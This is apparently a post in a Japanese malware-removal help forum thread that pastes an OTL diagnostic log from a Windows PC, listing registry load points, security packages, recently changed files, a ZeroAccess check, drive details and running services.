O18 - Protocol\Filter\text/xml {807573E5-5146-11D5-A672-00B0D022E945} - C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\MSOXMLMF.DLL (Microsoft Corporation)
O20:[b]64bit:[/b] - HKLM Winlogon: Shell - (explorer.exe) - C:\Windows\explorer.exe (Microsoft Corporation)
O20:[b]64bit:[/b] - HKLM Winlogon: UserInit - (C:\Windows\system32\userinit.exe) - C:\Windows\SysNative\userinit.exe (Microsoft Corporation)
O20:[b]64bit:[/b] - HKLM Winlogon: VMApplet - (SystemPropertiesPerformance.exe) - C:\Windows\SysNative\SystemPropertiesPerformance.exe (Microsoft Corporation)
O20 - HKLM Winlogon: Shell - (explorer.exe) - C:\Windows\SysWow64\explorer.exe (Microsoft Corporation)
O20 - HKLM Winlogon: UserInit - (userinit.exe) - C:\Windows\SysWow64\userinit.exe (Microsoft Corporation)
O20 - HKLM Winlogon: VMApplet - (SystemPropertiesPerformance.exe) - C:\Windows\SysWow64\SystemPropertiesPerformance.exe (Microsoft Corporation)
O20:[b]64bit:[/b] - Winlogon\Notify\LBTWlgn: DllName - (c:\program files\common files\logishrd\bluetooth\LBTWlgn.dll) - c:\Program Files\Common Files\LogiShrd\Bluetooth\LBTWLgn.dll (Logitech, Inc.)
O21:[b]64bit:[/b] - SSODL: WebCheck - {E6FB5E20-DE35-11CF-9C87-00AA005127ED} - No CLSID value found.
O21 - SSODL: WebCheck - {E6FB5E20-DE35-11CF-9C87-00AA005127ED} - No CLSID value found.
O28 - HKLM ShellExecuteHooks: {B5A7F190-DDA6-4420-B3BA-52453494E6CD} - D:\Program Files (x86)\Microsoft Office\Office14\GROOVEEX.DLL (Microsoft Corporation)
O29:[b]64bit:[/b] - HKLM SecurityProviders - (credssp.dll) - C:\Windows\SysWow64\credssp.dll (Microsoft Corporation)
O29 - HKLM SecurityProviders - (credssp.dll) - C:\Windows\SysWow64\credssp.dll (Microsoft Corporation)
O30:[b]64bit:[/b] - LSA: Authentication Packages - (msv1_0) - C:\Windows\SysNative\msv1_0.dll (Microsoft Corporation)
O30 - LSA: Authentication Packages - (msv1_0) - C:\Windows\SysWow64\msv1_0.dll (Microsoft Corporation)
O30:[b]64bit:[/b] - LSA: Security Packages - (kerberos) - C:\Windows\SysNative\kerberos.dll (Microsoft Corporation)
O30:[b]64bit:[/b] - LSA: Security Packages - (msv1_0) - C:\Windows\SysNative\msv1_0.dll (Microsoft Corporation)
O30:[b]64bit:[/b] - LSA: Security Packages - (schannel) - C:\Windows\SysNative\schannel.dll (Microsoft Corporation)
O30:[b]64bit:[/b] - LSA: Security Packages - (wdigest) - C:\Windows\SysNative\wdigest.dll (Microsoft Corporation)
O30:[b]64bit:[/b] - LSA: Security Packages - (tspkg) - C:\Windows\SysNative\tspkg.dll (Microsoft Corporation)
O30:[b]64bit:[/b] - LSA: Security Packages - (pku2u) - C:\Windows\SysNative\pku2u.dll (Microsoft Corporation)
O30:[b]64bit:[/b] - LSA: Security Packages - (livessp) - C:\Windows\SysNative\livessp.dll (Microsoft Corp.)
O30 - LSA: Security Packages - (kerberos) - C:\Windows\SysWow64\kerberos.dll (Microsoft Corporation)
O30 - LSA: Security Packages - (msv1_0) - C:\Windows\SysWow64\msv1_0.dll (Microsoft Corporation)
O30 - LSA: Security Packages - (schannel) - C:\Windows\SysWow64\schannel.dll (Microsoft Corporation)
O30 - LSA: Security Packages - (wdigest) - C:\Windows\SysWow64\wdigest.dll (Microsoft Corporation)
O30 - LSA: Security Packages - (tspkg) - C:\Windows\SysWow64\tspkg.dll (Microsoft Corporation)
O30 - LSA: Security Packages - (pku2u) - C:\Windows\SysWow64\pku2u.dll (Microsoft Corporation)
O30 - LSA: Security Packages - (livessp) - C:\Windows\SysWow64\livessp.dll (Microsoft Corp.)
O31 - SafeBoot: AlternateShell - cmd.exe
O32 - HKLM CDRom: AutoRun - 1
O33 - MountPoints2\{04337025-3ea0-11e3-9d89-bc5ff49688fb}\Shell - "" = AutoRun
O33 - MountPoints2\{04337025-3ea0-11e3-9d89-bc5ff49688fb}\Shell\AutoRun\command - "" = I:\Startme.exe
O34 - HKLM BootExecute: (autocheck autochk *)
O35:[b]64bit:[/b] - HKLM\..comfile [open] -- "%1" %*
O35:[b]64bit:[/b] - HKLM\..exefile [open] -- "%1" %*
O35 - HKLM\..comfile [open] -- "%1" %*
O35 - HKLM\..exefile [open] -- "%1" %*
O37:[b]64bit:[/b] - HKLM\...com [@ = comfile] -- "%1" %*
O37:[b]64bit:[/b] - HKLM\...exe [@ = exefile] -- "%1" %*
O37 - HKLM\...com [@ = comfile] -- "%1" %*
O37 - HKLM\...exe [@ = exefile] -- "%1" %*
O38 - SubSystems\\Windows: (ServerDll=winsrv:UserServerDllInitialization,3)
O38 - SubSystems\\Windows: (ServerDll=winsrv:ConServerDllInitialization,2)
O38 - SubSystems\\Windows: (ServerDll=sxssrv,4)

CREATERESTOREPOINT
Restore point Set: OTL Restore Point
  • mari
  • 2015/03/29 (Sun) 09:41:33
Re: salusの駆除をお助けください
[color=#E56717]========== Files/Folders - Created Within 30 Days ==========[/color]

[2015/03/29 09:28:55 | 000,000,000 | ---D | C] -- C:\Users\Tomohiko\Desktop\Old Firefox Data
[2015/03/29 07:57:24 | 000,000,000 | ---D | C] -- C:\Users\Tomohiko\Desktop\新しいフォルダー (2)
[2015/03/28 22:59:11 | 000,000,000 | ---D | C] -- C:\AdwCleaner
[2015/03/28 21:05:26 | 000,778,928 | ---- | C] (Adobe Systems Incorporated) -- C:\Windows\SysWow64\FlashPlayerApp.exe
[2015/03/28 21:05:26 | 000,142,512 | ---- | C] (Adobe Systems Incorporated) -- C:\Windows\SysWow64\FlashPlayerCPLApp.cpl
[2015/03/28 21:00:39 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\Mozilla Maintenance Service
[2015/03/28 21:00:39 | 000,000,000 | ---D | C] -- C:\ProgramData\Mozilla
[2015/03/28 06:30:26 | 000,000,000 | ---D | C] -- C:\Users\Tomohiko\Desktop\新しいフォルダー
[2015/03/24 04:02:38 | 000,000,000 | ---D | C] -- C:\Users\Tomohiko\AppData\Local\Apple Computer
[2015/03/23 22:33:52 | 000,000,000 | ---D | C] -- C:\Users\Tomohiko\AppData\Local\Adobe
[2015/03/23 21:38:34 | 000,000,000 | ---D | C] -- C:\Users\Tomohiko\AppData\Roaming\Malwarebytes
[2015/03/23 21:38:18 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes' Anti-Malware
[2015/03/23 21:38:16 | 000,000,000 | ---D | C] -- C:\ProgramData\Malwarebytes
[2015/03/23 21:38:15 | 000,025,928 | ---- | C] (Malwarebytes Corporation) -- C:\Windows\SysNative\drivers\mbam.sys
[2015/03/22 22:25:00 | 000,000,000 | ---D | C] -- C:\Users\Tomohiko\AppData\Roaming\Geek Uninstaller
[2015/03/21 15:35:11 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome
[2015/03/21 15:09:10 | 000,000,000 | ---D | C] -- C:\Program Files\CCleaner
[2015/03/15 13:40:10 | 000,000,000 | ---D | C] -- C:\Program Files\Broadcom
[2015/03/15 13:19:09 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\Google
[2015/03/15 13:18:57 | 000,000,000 | ---D | C] -- C:\Users\Tomohiko\AppData\Local\Deployment
[2015/03/15 13:18:57 | 000,000,000 | ---D | C] -- C:\Users\Tomohiko\AppData\Local\Apps
[2015/03/15 10:06:10 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\iTunes
[2015/03/15 10:05:58 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\iTunes
[2015/03/15 10:05:58 | 000,000,000 | ---D | C] -- C:\Program Files\iPod
[2015/03/15 10:05:57 | 000,000,000 | ---D | C] -- C:\Program Files\iTunes
[2015/03/15 10:05:57 | 000,000,000 | ---D | C] -- C:\ProgramData\E1864A66-75E3-486a-BD95-D1B7D99A84A7
[2015/03/01 22:23:32 | 006,041,600 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\jscript9.dll
[2015/03/01 22:23:32 | 000,950,272 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\perftrack.dll
[2015/03/01 22:23:32 | 000,814,080 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\jscript9diag.dll
[2015/03/01 22:23:32 | 000,620,032 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\jscript9diag.dll
[2015/03/01 22:23:32 | 000,029,696 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\powertracker.dll
[2015/02/28 07:44:59 | 000,309,760 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\ncrypt.dll
[2015/02/28 07:44:56 | 001,461,760 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\lsasrv.dll
[2015/02/28 07:44:56 | 000,686,080 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\adtschema.dll
[2015/02/28 07:44:56 | 000,686,080 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\adtschema.dll
[2015/02/28 07:44:56 | 000,146,432 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\msaudite.dll
[2015/02/28 07:44:56 | 000,146,432 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\msaudite.dll
[2015/02/28 07:44:56 | 000,136,192 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\sspicli.dll
[2015/02/28 07:44:56 | 000,064,000 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\auditpol.exe
[2015/02/28 07:44:56 | 000,060,416 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\msobjs.dll
[2015/02/28 07:44:56 | 000,060,416 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\msobjs.dll
[2015/02/28 07:44:56 | 000,050,176 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\auditpol.exe
[2015/02/28 07:44:56 | 000,029,184 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\sspisrv.dll
[2015/02/28 07:44:56 | 000,028,160 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\secur32.dll
[2015/02/28 07:44:54 | 001,480,192 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\crypt32.dll
[2015/02/28 07:44:53 | 001,424,384 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\WindowsCodecs.dll
[2015/02/28 07:44:52 | 000,114,688 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\ieetwcollector.exe
[2015/02/28 07:44:52 | 000,076,288 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\mshtmled.dll
[2015/02/28 07:44:52 | 000,064,000 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\MshtmlDac.dll
[2015/02/28 07:44:52 | 000,048,640 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\ieetwproxystub.dll
[2015/02/28 07:44:52 | 000,047,616 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\ieetwproxystub.dll
[2015/02/28 07:44:52 | 000,030,720 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\iernonce.dll
[2015/02/28 07:44:51 | 000,718,848 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\ie4uinit.exe
[2015/02/28 07:44:51 | 000,710,144 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\ieapfltr.dll
[2015/02/28 07:44:51 | 000,077,824 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\JavaScriptCollectionAgent.dll
[2015/02/28 07:44:51 | 000,062,464 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\iesetup.dll
[2015/02/28 07:44:51 | 000,060,416 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\JavaScriptCollectionAgent.dll
[2015/02/28 07:44:51 | 000,034,304 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\iernonce.dll
[2015/02/28 07:44:50 | 002,052,608 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\inetcpl.cpl
[2015/02/28 07:44:50 | 000,968,704 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\MsSpellCheckingFacility.exe
[2015/02/28 07:44:50 | 000,801,280 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\msfeeds.dll
[2015/02/28 07:44:50 | 000,478,208 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\ieui.dll
[2015/02/28 07:44:50 | 000,316,928 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\dxtrans.dll
[2015/02/28 07:44:50 | 000,115,712 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\ieUnatt.exe
[2015/02/28 07:44:50 | 000,066,560 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\iesetup.dll
[2015/02/28 07:44:50 | 000,004,096 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\ieetwcollectorres.dll
[2015/02/28 07:44:49 | 002,125,824 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\inetcpl.cpl
[2015/02/28 07:44:49 | 001,155,072 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\mshtmlmedia.dll
[2015/02/28 07:44:49 | 000,800,768 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\ieapfltr.dll
[2015/02/28 07:44:49 | 000,168,960 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\msrating.dll
[2015/02/28 07:44:49 | 000,144,384 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\ieUnatt.exe
[2015/02/28 07:44:48 | 001,359,360 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\mshtmlmedia.dll
[2015/02/28 07:44:48 | 000,633,856 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\ieui.dll
[2015/02/28 07:44:48 | 000,490,496 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\dxtmsft.dll
[2015/02/28 07:44:48 | 000,092,160 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\mshtmled.dll
[2015/02/28 07:44:47 | 000,584,192 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\vbscript.dll
[2015/02/28 07:44:47 | 000,199,680 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\msrating.dll
[2015/02/28 07:44:47 | 000,088,064 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\MshtmlDac.dll
[2015/02/28 07:44:38 | 005,554,112 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\ntoskrnl.exe
[2015/02/28 07:44:38 | 003,972,544 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\ntkrnlpa.exe
[2015/02/28 07:44:38 | 003,917,760 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\ntoskrnl.exe
[2015/02/28 07:44:38 | 000,503,808 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\srcore.dll
[2015/02/28 07:44:38 | 000,296,960 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\rstrui.exe
[2015/02/28 07:44:38 | 000,050,176 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\srclient.dll
[2015/02/28 07:44:35 | 000,861,696 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\oleaut32.dll
[2015/02/28 07:44:35 | 000,406,528 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\scesrv.dll
[2015/02/28 07:44:35 | 000,308,224 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\scesrv.dll
[1 C:\Users\Tomohiko\Documents\*.tmp files -> C:\Users\Tomohiko\Documents\*.tmp -> ]

[color=#E56717]========== Files - Modified Within 30 Days ==========[/color]

[2015/03/29 09:27:00 | 000,000,626 | ---- | M] () -- C:\Windows\tasks\Adobe Flash Player Updater.job
[2015/03/29 09:26:08 | 000,195,711 | ---- | M] () -- C:\Users\Tomohiko\Desktop\bookmarks_2015_03_29.html
[2015/03/29 09:17:56 | 000,015,968 | -H-- | M] () -- C:\Windows\SysNative\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
[2015/03/29 09:17:56 | 000,015,968 | -H-- | M] () -- C:\Windows\SysNative\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
[2015/03/29 09:15:37 | 000,854,098 | ---- | M] () -- C:\Windows\SysNative\perfh009.dat
[2015/03/29 09:15:37 | 000,726,908 | ---- | M] () -- C:\Windows\SysNative\perfh011.dat
[2015/03/29 09:15:37 | 000,318,950 | ---- | M] () -- C:\Windows\SysNative\perfc011.dat
[2015/03/29 09:15:37 | 000,312,946 | ---- | M] () -- C:\Windows\SysNative\perfc009.dat
[2015/03/29 09:15:37 | 000,006,256 | ---- | M] () -- C:\Windows\SysNative\PerfStringBackup.INI
[2015/03/29 09:11:09 | 000,000,690 | ---- | M] () -- C:\Windows\tasks\GoogleUpdateTaskMachineCore.job
[2015/03/29 09:10:47 | 000,067,584 | --S- | M] () -- C:\Windows\bootstat.dat
[2015/03/29 09:10:41 | 496,861,183 | -HS- | M] () -- C:\hiberfil.sys
[2015/03/29 08:39:00 | 000,000,694 | ---- | M] () -- C:\Windows\tasks\GoogleUpdateTaskMachineUA.job
[2015/03/28 22:57:09 | 000,000,786 | ---- | M] () -- C:\Users\Public\Desktop\Malwarebytes Anti-Malware.lnk
[2015/03/28 21:07:52 | 000,778,928 | ---- | M] (Adobe Systems Incorporated) -- C:\Windows\SysWow64\FlashPlayerApp.exe
[2015/03/28 21:07:52 | 000,142,512 | ---- | M] (Adobe Systems Incorporated) -- C:\Windows\SysWow64\FlashPlayerCPLApp.cpl
[2015/03/28 21:00:40 | 000,001,147 | ---- | M] () -- C:\Users\Public\Desktop\Mozilla Firefox.lnk
[2015/03/28 00:55:05 | 000,000,098 | ---- | M] () -- C:\Windows\SysNative\drivers\etc\Hosts
[2015/03/22 22:39:31 | 000,002,265 | ---- | M] () -- C:\Users\Tomohiko\Application Data\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk
[2015/02/28 07:56:22 | 007,517,528 | ---- | M] () -- C:\Windows\SysNative\FNTCACHE.DAT
[2015/02/28 07:51:17 | 000,001,945 | ---- | M] () -- C:\Windows\epplauncher.mif
[1 C:\Users\Tomohiko\Documents\*.tmp files -> C:\Users\Tomohiko\Documents\*.tmp -> ]

[color=#E56717]========== Files Created - No Company Name ==========[/color]

[2015/03/29 09:26:08 | 000,195,711 | ---- | C] () -- C:\Users\Tomohiko\Desktop\bookmarks_2015_03_29.html
[2015/03/28 22:57:09 | 000,000,786 | ---- | C] () -- C:\Users\Public\Desktop\Malwarebytes Anti-Malware.lnk
[2015/03/28 21:05:26 | 000,000,626 | ---- | C] () -- C:\Windows\tasks\Adobe Flash Player Updater.job
[2015/03/28 21:00:40 | 000,001,159 | ---- | C] () -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk
[2015/03/28 21:00:40 | 000,001,147 | ---- | C] () -- C:\Users\Public\Desktop\Mozilla Firefox.lnk
[2015/03/21 15:35:11 | 000,002,265 | ---- | C] () -- C:\Users\Tomohiko\Application Data\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk
[2015/03/21 15:34:52 | 000,000,694 | ---- | C] () -- C:\Windows\tasks\GoogleUpdateTaskMachineUA.job
[2015/03/21 15:34:52 | 000,000,690 | ---- | C] () -- C:\Windows\tasks\GoogleUpdateTaskMachineCore.job
[2014/10/12 12:25:04 | 000,313,688 | ---- | C] () -- C:\Windows\SysWow64\NvIFROpenGL.dll
[2013/12/31 18:11:55 | 000,001,336 | ---- | C] () -- C:\Windows\CCATALOG.INI
[2013/11/24 11:29:49 | 000,354,308 | -H-- | C] () -- C:\Windows\SysWow64\mlfcache.dat
[2013/10/27 09:34:01 | 000,263,168 | ---- | C] () -- C:\Windows\SysWow64\APOMngr.DLL
[2013/10/27 09:34:01 | 000,074,240 | ---- | C] () -- C:\Windows\SysWow64\CmdRtr.DLL
[2013/10/27 09:33:27 | 000,003,077 | ---- | C] () -- C:\ProgramData\cfSB1290A.ini
[2013/10/27 09:33:27 | 000,003,077 | ---- | C] () -- C:\ProgramData\cfSB1290.ini
[2013/10/27 09:33:27 | 000,002,844 | ---- | C] () -- C:\ProgramData\cfSB1240A.ini
[2013/10/27 09:33:27 | 000,002,844 | ---- | C] () -- C:\ProgramData\cfSB1240.ini
[2013/10/27 09:33:27 | 000,001,980 | ---- | C] () -- C:\ProgramData\cfSB1560.ini
[2013/10/27 09:33:27 | 000,001,772 | ---- | C] () -- C:\ProgramData\cfSB1095A.ini
[2013/10/27 09:33:27 | 000,001,772 | ---- | C] () -- C:\ProgramData\cfSB1095.ini
[2013/10/27 09:33:27 | 000,001,697 | ---- | C] () -- C:\ProgramData\CfGH0250.ini
[2013/10/27 09:33:27 | 000,001,696 | ---- | C] () -- C:\ProgramData\CfGH0280.ini
[2013/10/27 09:33:27 | 000,001,352 | ---- | C] () -- C:\ProgramData\cfSB1090.ini
[2013/10/27 09:33:27 | 000,001,352 | ---- | C] () -- C:\ProgramData\cfSB0910.ini
[2013/10/27 09:33:27 | 000,001,346 | ---- | C] () -- C:\ProgramData\cfSB1100.ini
[2013/10/27 09:33:27 | 000,001,302 | ---- | C] () -- C:\ProgramData\cfSB0300.ini
[2013/10/27 09:33:27 | 000,001,282 | ---- | C] () -- C:\ProgramData\cfSB0471.ini
[2013/10/27 09:33:27 | 000,001,208 | ---- | C] () -- C:\ProgramData\cfSB0490.ini
[2013/10/27 09:33:27 | 000,001,027 | ---- | C] () -- C:\ProgramData\cfSB0560.ini
[2013/10/27 09:33:27 | 000,001,026 | ---- | C] () -- C:\ProgramData\cfSB0271.ini
[2013/10/27 09:33:27 | 000,001,026 | ---- | C] () -- C:\ProgramData\cfSB0270.ini
[2013/10/27 09:33:27 | 000,000,939 | ---- | C] () -- C:\ProgramData\CfSB1170.ini
[2013/10/27 09:33:27 | 000,000,806 | ---- | C] () -- C:\ProgramData\cfSB1300A.ini
[2013/10/27 09:33:27 | 000,000,806 | ---- | C] () -- C:\ProgramData\cfSB1300.ini
[2013/10/27 09:33:27 | 000,000,715 | ---- | C] () -- C:\ProgramData\CfSB1532.ini
[2013/10/27 09:33:27 | 000,000,715 | ---- | C] () -- C:\ProgramData\CfSB1530.ini
[2013/10/27 09:33:27 | 000,000,715 | ---- | C] () -- C:\ProgramData\CfSB1390.ini
[2013/10/27 09:33:27 | 000,000,715 | ---- | C] () -- C:\ProgramData\CfSB1380.ini
[2013/10/27 09:33:27 | 000,000,715 | ---- | C] () -- C:\ProgramData\CfSB1360.ini
[2013/10/27 09:33:27 | 000,000,590 | ---- | C] () -- C:\ProgramData\cfSB0950.ini
[2013/07/15 08:58:29 | 000,035,328 | ---- | C] () -- C:\Windows\SysWow64\Inetwh32.dll
[2013/04/13 17:29:33 | 000,000,021 | ---- | C] () -- C:\Windows\SurCode.INI
[2013/03/20 18:01:04 | 000,000,003 | ---- | C] () -- C:\Users\Tomohiko\AppData\Local\user_data.ini

[color=#E56717]========== ZeroAccess Check ==========[/color]

[2009/07/14 13:55:00 | 000,000,227 | RHS- | M] () -- C:\Windows\assembly\Desktop.ini

[HKEY_CURRENT_USER\Software\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32] /64

[HKEY_CURRENT_USER\Software\Classes\Wow6432node\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32]

[HKEY_CURRENT_USER\Software\Classes\clsid\{fbeb8a05-beee-4442-804e-409d6c4515e9}\InProcServer32] /64

[HKEY_CURRENT_USER\Software\Classes\Wow6432node\clsid\{fbeb8a05-beee-4442-804e-409d6c4515e9}\InProcServer32]

[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32] /64
"" = C:\Windows\SysNative\shell32.dll -- [2014/06/25 11:05:42 | 014,175,744 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Apartment

[HKEY_LOCAL_MACHINE\Software\Wow6432Node\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32]
"" = %SystemRoot%\system32\shell32.dll -- [2014/06/25 10:41:30 | 012,874,240 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Apartment

[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{5839FCA9-774D-42A1-ACDA-D6A79037F57F}\InProcServer32] /64
"" = C:\Windows\SysNative\wbem\fastprox.dll -- [2009/07/14 10:40:51 | 000,909,312 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Free

[HKEY_LOCAL_MACHINE\Software\Wow6432Node\Classes\clsid\{5839FCA9-774D-42A1-ACDA-D6A79037F57F}\InProcServer32]
"" = %systemroot%\system32\wbem\fastprox.dll -- [2010/11/20 21:19:02 | 000,606,208 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Free

[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InProcServer32] /64
"" = C:\Windows\SysNative\wbem\wbemess.dll -- [2009/07/14 10:41:56 | 000,505,856 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Both

[HKEY_LOCAL_MACHINE\Software\Wow6432Node\Classes\clsid\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InProcServer32]

[color=#E56717]========== Custom Scans ==========[/color]

[color=#A23BEC]< %windir%\tasks\*.job >[/color]
[2015/03/29 09:27:00 | 000,000,626 | ---- | M] () -- C:\Windows\tasks\Adobe Flash Player Updater.job
[2015/03/29 09:11:09 | 000,000,690 | ---- | M] () -- C:\Windows\tasks\GoogleUpdateTaskMachineCore.job
[2015/03/29 08:39:00 | 000,000,694 | ---- | M] () -- C:\Windows\tasks\GoogleUpdateTaskMachineUA.job

[color=#E56717]========== Drive Information ==========[/color]

Physical Drives
---------------

Drive: \\\\.\\PHYSICALDRIVE0 - Fixed hard disk media
Interface type: SCSI
Media Type: Fixed hard disk media
Model: ATA Hitachi HDT72505 SCSI Disk Device
Partitions: 1
Status: OK
Status Info: 0

Drive: \\\\.\\PHYSICALDRIVE1 - Fixed hard disk media
Interface type: SCSI
Media Type: Fixed hard disk media
Model: Intel Raid 0 Volume SCSI Disk Device
Partitions: 1
Status: OK
Status Info: 0

Drive: \\\\.\\PHYSICALDRIVE2 - Fixed hard disk media
Interface type: SCSI
Media Type: Fixed hard disk media
Model: Intel Raid 0 Volume SCSI Disk Device
Partitions: 2
Status: OK
Status Info: 0

Drive: \\\\.\\PHYSICALDRIVE3 - External hard disk media
Interface type: USB
Media Type: External hard disk media
Model: PHD 3.0 Silicon-Power USB Device
Partitions: 1
Status: OK
Status Info: 0

Partitions
---------------

DeviceID: Disk #0, Partition #0
PartitionType: Installable File System
Bootable: False
BootPartition: False
PrimaryPartition: True
Size: 466.00GB
Starting Offset: 32256
Hidden sectors: 0


DeviceID: Disk #1, Partition #0
PartitionType: Installable File System
Bootable: False
BootPartition: False
PrimaryPartition: True
Size: 442.00GB
Starting Offset: 1048576
Hidden sectors: 0


DeviceID: Disk #2, Partition #0
PartitionType: Installable File System
Bootable: True
BootPartition: True
PrimaryPartition: True
Size: 100.00MB
Starting Offset: 1048576
Hidden sectors: 0


DeviceID: Disk #2, Partition #1
PartitionType: Installable File System
Bootable: False
BootPartition: False
PrimaryPartition: True
Size: 113.00GB
Starting Offset: 105906176
Hidden sectors: 0


DeviceID: Disk #3, Partition #0
PartitionType: Unknown
Bootable: True
BootPartition: True
PrimaryPartition: True
Size: 932.00GB
Starting Offset: 1048576
Hidden sectors: 0


[color=#E56717]========== Base Services ==========[/color]
SRV:[b]64bit:[/b] - [2009/07/14 10:40:01 | 000,072,192 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\aelupsvc.dll -- (AeLookupSvc)
SRV:[b]64bit:[/b] - [2013/02/27 14:47:10 | 000,070,144 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\appinfo.dll -- (Appinfo)
SRV:[b]64bit:[/b] - [2009/07/14 10:38:55 | 000,079,360 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\alg.exe -- (ALG)
SRV:[b]64bit:[/b] - [2010/11/20 22:27:23 | 000,849,920 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\qmgr.dll -- (BITS)
SRV:[b]64bit:[/b] - [2010/11/20 22:25:45 | 000,705,024 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\BFE.DLL -- (BFE)
SRV:[b]64bit:[/b] - [2015/01/15 17:09:15 | 000,031,232 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\lsass.exe -- (KeyIso)
SRV:[b]64bit:[/b] - [2009/07/14 10:40:50 | 000,402,944 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\es.dll -- (EventSystem)
SRV - [2009/07/14 10:15:19 | 000,271,360 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysWOW64\es.dll -- (EventSystem)
SRV:[b]64bit:[/b] - [2012/07/05 07:13:27 | 000,136,704 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\browser.dll -- (Browser)
